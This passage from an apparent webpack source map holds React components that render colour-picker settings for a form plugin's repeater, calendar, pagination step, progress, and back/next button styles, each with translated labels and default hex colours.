}repeater-border`}\n\t\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#AAAAAA\") }`}\n\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t</Container>\n\n\t\t\t\t\t\t<Container\n\t\t\t\t\t\t\tvalue=\"hover\"\n\t\t\t\t\t\t\tlabel={ translate( 'Hover' ) }\n\t\t\t\t\t\t>\n\t\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }repeater-button-background-hover`}\n\t\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#F1F1F1\") }`}\n\t\t\t\t\t\t\t/>\n\n\t\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\tlabel={ translate( 'Text color' ) }\n\t\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }repeater-button-hover`}\n\t\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#666666\") }`}\n\t\t\t\t\t\t\t/>\n\n\t\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\tlabel={ translate( 'Border color' ) }\n\t\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }repeater-border-hover`}\n\t\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#AAAAAA\") }`}\n\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t</Container>\n\n\t\t\t\t\t\t<Container\n\t\t\t\t\t\t\tvalue=\"focus\"\n\t\t\t\t\t\t\tlabel={ translate( 'Focus' ) }\n\t\t\t\t\t\t>\n\t\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }repeater-button-background-focus`}\n\t\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#F1F1F1\") }`}\n\t\t\t\t\t\t\t/>\n\n\t\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\tlabel={ translate( 'Text color' ) }\n\t\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }repeater-button-focus`}\n\t\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#666666\") }`}\n\t\t\t\t\t\t\t/>\n\n\t\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\tlabel={ translate( 'Border color' ) }\n\t\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }repeater-border-focus`}\n\t\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#AAAAAA\") }`}\n\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t</Container>\n\t\t\t\t\t</Tabs>\n\t\t\t\t</Accordion>\n\n\t\t\t\t<Accordion\n\t\t\t\t\t{ ...this.props }\n\t\t\t\t\tlabel={ translate( 'Icon' ) }\n\t\t\t\t>\n\t\t\t\t\t<Tabs\n\t\t\t\t\t\tdefault=\"default\"\n\t\t\t\t\t\textraClass=\"sui-tabs-flushed\"\n\t\t\t\t\t\ttype=\"tabs\"\n\t\t\t\t\t>\n\t\t\t\t\t\t<Container\n\t\t\t\t\t\t\tvalue=\"default\"\n\t\t\t\t\t\t\tlabel={ translate( 'Default' ) }\n\t\t\t\t\t\t>\n\t\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\tlabel={ translate( 'Color' ) }\n\t\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }repeater-icon`}\n\t\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#888888\") }`}\n\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t</Container>\n\n\t\t\t\t\t\t<Container\n\t\t\t\t\t\t\tvalue=\"hover\"\n\t\t\t\t\t\t\tlabel={ translate( 'Hover' ) }\n\t\t\t\t\t\t>\n\t\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\tlabel={ translate( 'Color' ) }\n\t\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }repeater-icon-hover`}\n\t\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#888888\") }`}\n\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t</Container>\n\n\t\t\t\t\t\t<Container\n\t\t\t\t\t\t\tvalue=\"focus\"\n\t\t\t\t\t\t\tlabel={ translate( 'Focus' ) }\n\t\t\t\t\t\t>\n\t\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\tlabel={ translate( 'Color' ) }\n\t\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }repeater-icon-focus`}\n\t\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#888888\") }`}\n\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t</Container>\n\t\t\t\t\t</Tabs>\n\t\t\t\t</Accordion>\n\n\t\t\t\t<Accordion\n\t\t\t\t\t{ ...this.props }\n\t\t\t\t\tlabel={ translate( 'Link' ) }\n\t\t\t\t>\n\t\t\t\t\t<Tabs\n\t\t\t\t\t\tdefault=\"default\"\n\t\t\t\t\t\textraClass=\"sui-tabs-flushed\"\n\t\t\t\t\t\ttype=\"tabs\"\n\t\t\t\t\t>\n\t\t\t\t\t\t<Container\n\t\t\t\t\t\t\tvalue=\"default\"\n\t\t\t\t\t\t\tlabel={ translate( 'Default' ) }\n\t\t\t\t\t\t>\n\t\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\tlabel={ translate( 'Text color' ) }\n\t\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }repeater-link`}\n\t\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t</Container>\n\n\t\t\t\t\t\t<Container\n\t\t\t\t\t\t\tvalue=\"hover\"\n\t\t\t\t\t\t\tlabel={ translate( 'Hover' ) }\n\t\t\t\t\t\t>\n\t\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\tlabel={ translate( 'Text color' ) }\n\t\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }repeater-link-hover`}\n\t\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t</Container>\n\n\t\t\t\t\t\t<Container\n\t\t\t\t\t\t\tvalue=\"focus\"\n\t\t\t\t\t\t\tlabel={ translate( 'Focus' ) }\n\t\t\t\t\t\t>\n\t\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\tlabel={ translate( 'Text color' ) }\n\t\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }repeater-link-focus`}\n\t\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t</Container>\n\t\t\t\t\t</Tabs>\n\t\t\t\t</Accordion>\n\n\t\t\t</div>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/colors/repeater.js","import React, { Component } from 'react';\nimport { translate, getThemePrefix, getDefaultValue } from '../../../../utils';\n\nimport ColorPicker from '../../../../settings/inputs/color-picker';\nimport Tabs from '../../../../settings/containers/tabs';\nimport Container from '../../../../settings/containers/container';\n\nexport default class CalendarColors extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<Tabs\n\t\t\t\tdefault=\"default\"\n\t\t\t\ttype=\"tabs\"\n\t\t\t\textraClass=\"sui-tabs-flushed\"\n\t\t\t>\n\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Default' ) }\n\t\t\t\t\tvalue=\"default\"\n\t\t\t\t>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Table head color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }calendar-dweek`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#333333\") }`}\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t\t{ this.props.formDesign !== 'flat' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Table cell border' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }calendar-days-border-static`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#E6E6E6\") }`}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Table cell BG' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }calendar-days-background-static`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#E6E6E6\") }`}\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Table cell color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }calendar-days-color-static`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#777771\") }`}\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Hover' ) }\n\t\t\t\t\tvalue=\"hover\"\n\t\t\t\t>\n\t\t\t\t\t{ this.props.formDesign !== 'flat' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Table cell border' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }calendar-days-border-hover`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#DDDDDD\") }`}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Table cell BG' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }calendar-days-background-hover`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#DDDDDD\") }`}\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Table cell color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }calendar-days-color-hover`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#777771\") }`}\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Active' ) }\n\t\t\t\t\tvalue=\"active\"\n\t\t\t\t>\n\t\t\t\t\t{ this.props.formDesign !== 'flat' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Table cell border' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }calendar-days-border-active`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Table cell BG' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }calendar-days-background-active`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Table cell color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }calendar-days-color-active`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#FFFFFF\") }`}\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Current' ) }\n\t\t\t\t\tvalue=\"current\"\n\t\t\t\t>\n\t\t\t\t\t{ this.props.formDesign !== 'flat' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Table cell border' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }calendar-days-border-current`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Table cell BG' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }calendar-days-background-current`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#C8DEE7\") }`}\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Table cell color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }calendar-days-color-current`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\n\t\t\t</Tabs>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/colors/calendar-table.js","import React, { Component } from 'react';\nimport { translate, getThemePrefix, getDefaultValue } from '../../../../utils';\n\nimport ColorPicker from '../../../../settings/inputs/color-picker';\nimport Tabs from '../../../../settings/containers/tabs';\nimport Container from '../../../../settings/containers/container';\nimport SettingsRow from '../../../../settings/containers/settings-row';\n\nexport default class StepsColors extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<Tabs\n\t\t\t\tdefault=\"border\"\n\t\t\t\ttype=\"tabs\"\n\t\t\t\textraClass=\"sui-tabs-flushed\"\n\t\t\t>\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Border' ) }\n\t\t\t\t\tvalue=\"border\"\n\t\t\t\t>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Default' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }timeline-border`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#777771\") }`}\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t\t{ (\n\t\t\t\t\t\tthis.props.formDesign !== 'bold' &&\n\t\t\t\t\t\tthis.props.formDesign !== 'material'\n\t\t\t\t\t) &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Current' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }timeline-border-current`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t</Container>\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Label' ) }\n\t\t\t\t\tvalue=\"label\"\n\t\t\t\t>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Default' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }timeline-text`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#777771\") }`}\n\t\t\t\t\t/>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Current' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }timeline-text-current`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Dot' ) }\n\t\t\t\t\tvalue=\"dot\"\n\t\t\t\t>\n\t\t\t\t\t<SettingsRow>\n\n\t\t\t\t\t\t<div className=\"sui-form-field\">\n\t\t\t\t\t\t\t<label className=\"sui-settings-label sui-dark\">{ translate(\n\t\t\t\t\t\t\t\t'Default state colors'\n\t\t\t\t\t\t\t) }</label>\n\t\t\t\t\t\t</div>\n\n\t\t\t\t\t\t{ this.props.formDesign !== 'material' &&\n\t\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\tlabel={ translate( 'Border' ) }\n\t\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }timeline-dot-border`}\n\t\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#777771\") }`}\n\t\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Background' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }timeline-dot-background`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#777771\") }`}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\n\t\t\t\t\t\t{ this.props.formDesign === 'material' &&\n\t\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\tlabel={ translate( 'Page number color' ) }\n\t\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }timeline-dot-color`}\n\t\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#FFFFFF\") }`}\n\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t}\n\n\t\t\t\t\t</SettingsRow>\n\n\t\t\t\t\t<SettingsRow>\n\n\t\t\t\t\t\t<div className=\"sui-form-field\">\n\t\t\t\t\t\t\t<label className=\"sui-settings-label sui-dark\">{ translate(\n\t\t\t\t\t\t\t\t'Current state colors'\n\t\t\t\t\t\t\t) }</label>\n\t\t\t\t\t\t</div>\n\n\t\t\t\t\t\t{ this.props.formDesign !== 'material' &&\n\t\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\tlabel={ translate( 'Border' ) }\n\t\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }timeline-dot-border-current`}\n\t\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#777771\") }`}\n\t\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Background' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }timeline-dot-background-current`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\n\t\t\t\t\t\t{ this.props.formDesign === 'material' &&\n\t\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\tlabel={ translate( 'Page number color' ) }\n\t\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }timeline-dot-color-current`}\n\t\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#FFFFFF\") }`}\n\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t}\n\n\t\t\t\t\t</SettingsRow>\n\n\t\t\t\t</Container>\n\t\t\t</Tabs>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/colors/pagination-steps.js","import React, { Component } from 'react';\nimport { translate, getThemePrefix, getDefaultValue } from '../../../../utils';\n\nimport ColorPicker from '../../../../settings/inputs/color-picker';\n\nexport default class ProgressColors extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<React.Fragment>\n\n\t\t\t\t<ColorPicker\n\t\t\t\t\t{ ...this.props }\n\t\t\t\t\tlabel={ translate( 'Label' ) }\n\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }progress-label`}\n\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#777771\") }`}\n\t\t\t\t/>\n\n\t\t\t\t<ColorPicker\n\t\t\t\t\t{ ...this.props }\n\t\t\t\t\tlabel={ translate( 'Progress bar BG' ) }\n\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }progress-background`}\n\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#E6E6E6\") }`}\n\t\t\t\t\tisAlpha\n\t\t\t\t/>\n\n\t\t\t\t<ColorPicker\n\t\t\t\t\t{ ...this.props }\n\t\t\t\t\tlabel={ translate( 'Progress status BG' ) }\n\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }progress-background-status`}\n\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\tisAlpha\n\t\t\t\t/>\n\n\t\t\t</React.Fragment>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/colors/pagination-progress.js","import React, { Component } from 'react';\nimport { translate, getThemePrefix, getDefaultValue } from '../../../../utils';\n\nimport ColorPicker from '../../../../settings/inputs/color-picker';\nimport Tabs from '../../../../settings/containers/tabs';\nimport Container from '../../../../settings/containers/container';\n\nexport default class BackColors extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<Tabs\n\t\t\t\tdefault=\"default\"\n\t\t\t\ttype=\"tabs\"\n\t\t\t\textraClass=\"sui-tabs-flushed\"\n\t\t\t>\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Default' ) }\n\t\t\t\t\tvalue=\"default\"\n\t\t\t\t>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }prev-background-static`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#1ABCA1\") }`}\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Label color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }prev-color-static`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#FFFFFF\") }`}\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Hover' ) }\n\t\t\t\t\tvalue=\"hover\"\n\t\t\t\t>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }prev-background-hover`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#159C85\") }`}\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Label color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }prev-color-hover`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#FFFFFF\") }`}\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Focus' ) }\n\t\t\t\t\tvalue=\"focus\"\n\t\t\t\t>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }prev-background-active`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#159C85\") }`}\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Label color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }prev-color-active`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#FFFFFF\") }`}\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\t\t\t</Tabs>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/colors/pagination-back.js","import React, { Component } from 'react';\nimport { translate, getThemePrefix, getDefaultValue } from '../../../../utils';\n\nimport ColorPicker from '../../../../settings/inputs/color-picker';\nimport Tabs from '../../../../settings/containers/tabs';\nimport Container from '../../../../settings/containers/container';\n\nexport default class NextColors extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<Tabs\n\t\t\t\tdefault=\"default\"\n\t\t\t\ttype=\"tabs\"\n\t\t\t\textraClass=\"sui-tabs-flushed\"\n\t\t\t>\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Default' ) }\n\t\t\t\t\tvalue=\"default\"\n\t\t\t\t>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }next-background-static`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#1ABCA1\") }`}\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Label color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }next-color-static`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#FFFFFF\") }`}\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Hover' ) }\n\t\t\t\t\tvalue=\"hover\"\n\t\t\t\t>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }next-background-hover`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#159C85\") }`}\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Label color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }next-color-hover`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#FFFFFF\") }`}\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Focus' ) }\n\t\t\t\t\tvalue=\"focus\"\n\t\t\t\t>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }next-background-active`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#159C85\") }`}\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Label color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }next-color-active`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#FFFFFF\") }`}\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\t\t\t</Tabs>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// 